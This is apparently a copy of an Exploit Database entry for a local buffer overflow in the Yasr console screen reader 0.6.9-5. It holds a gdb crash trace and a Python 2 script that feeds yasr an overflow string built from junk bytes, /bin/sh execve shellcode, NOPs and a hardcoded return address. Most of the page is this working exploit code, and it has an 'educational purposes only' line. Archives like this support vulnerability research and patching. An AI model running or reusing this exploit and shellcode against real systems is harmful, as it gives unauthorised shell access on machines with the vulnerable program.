Yasr Screen Reader 0.6.9 – Local Buffer Overflow

• Exploit Database
• 19 阅读

• 作者： Juan Sacco
  日期： 2016-04-26
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/39734/

• '''
  # Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com
  # Program affected: General-purpose console screen reader
  # Version: 0.6.9-5
  #
  # Tested and developed under:Kali Linux 2.0 x86 - https://www.kali.org
  # Program description: Yasr is a general-purpose console screen reader
  for GNU/Linux and other Unix-like operating systems.
  # Kali Linux 2.0 package: pool/main/y/yasr/yasr_0.6.9-5_i386.deb
  # MD5sum: 910f4b41fd09d5486b935097dc8dd2f8
  # Website: http://yasr.sourceforge.net/
  #
  #
  # Starting program: /usr/bin/yasr -p $(python -c 'print "\x90"*258')
  # [Thread debugging using libthread_db enabled]
  # Using host libthread_db library
  "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
  # Program received signal SIGSEGV, Segmentation fault.
  #
  # 0x90909090 in ?? ()
  #
  #gdb$ backtrace
  #00xb7fdebe0 in __kernel_vsyscall ()
  #10xb7e33367 in __GI_raise (sig=sig@entry=0x6) at
  ../nptl/sysdeps/unix/sysv/linux/raise.c:56
  #20xb7e34a23 in __GI_abort () at abort.c:89
  #30xb7e71778 in __libc_message (do_abort=do_abort@entry=0x2,
  fmt=fmt@entry=0xb7f67715 "*** %s ***: %s terminated\n") at
  ../sysdeps/posix/libc_fatal.c:175
  #40xb7f01b85 in __GI___fortify_fail (msg=msg@entry=0xb7f67696
  "buffer overflow detected") at fortify_fail.c:31
  #50xb7effc3a in __GI___chk_fail () at chk_fail.c:28
  '''
  
  import os, subprocess
  
  def run():
  try:
  print "# Yasr Console Screen Reader - Buffer Overflow by Juan Sacco"
  print "# This exploit is for educational purposes only"
  # JUNK + SHELLCODE + NOPS + EIP
  
  junk = "\x41"*298
  shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
  nops = "\x90"*12
  eip = "\xd2\xf3\xff\xbf"
  subprocess.call(["yasr ",'-p ', junk + shellcode + nops + eip])
  
  except OSError as e:
  if e.errno == os.errno.ENOENT:
  print "Sorry, Yasr Console Reader - Not found!"
  else:
  print "Error executing exploit"
  raise
  
  def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)
  
  if __name__ == '__main__':
  try:
  print "Exploit Yasr 0.6.9-5 Local Overflow Exploit"
  print "Author: Juan Sacco"
  except IndexError:
  howtousage()
  run()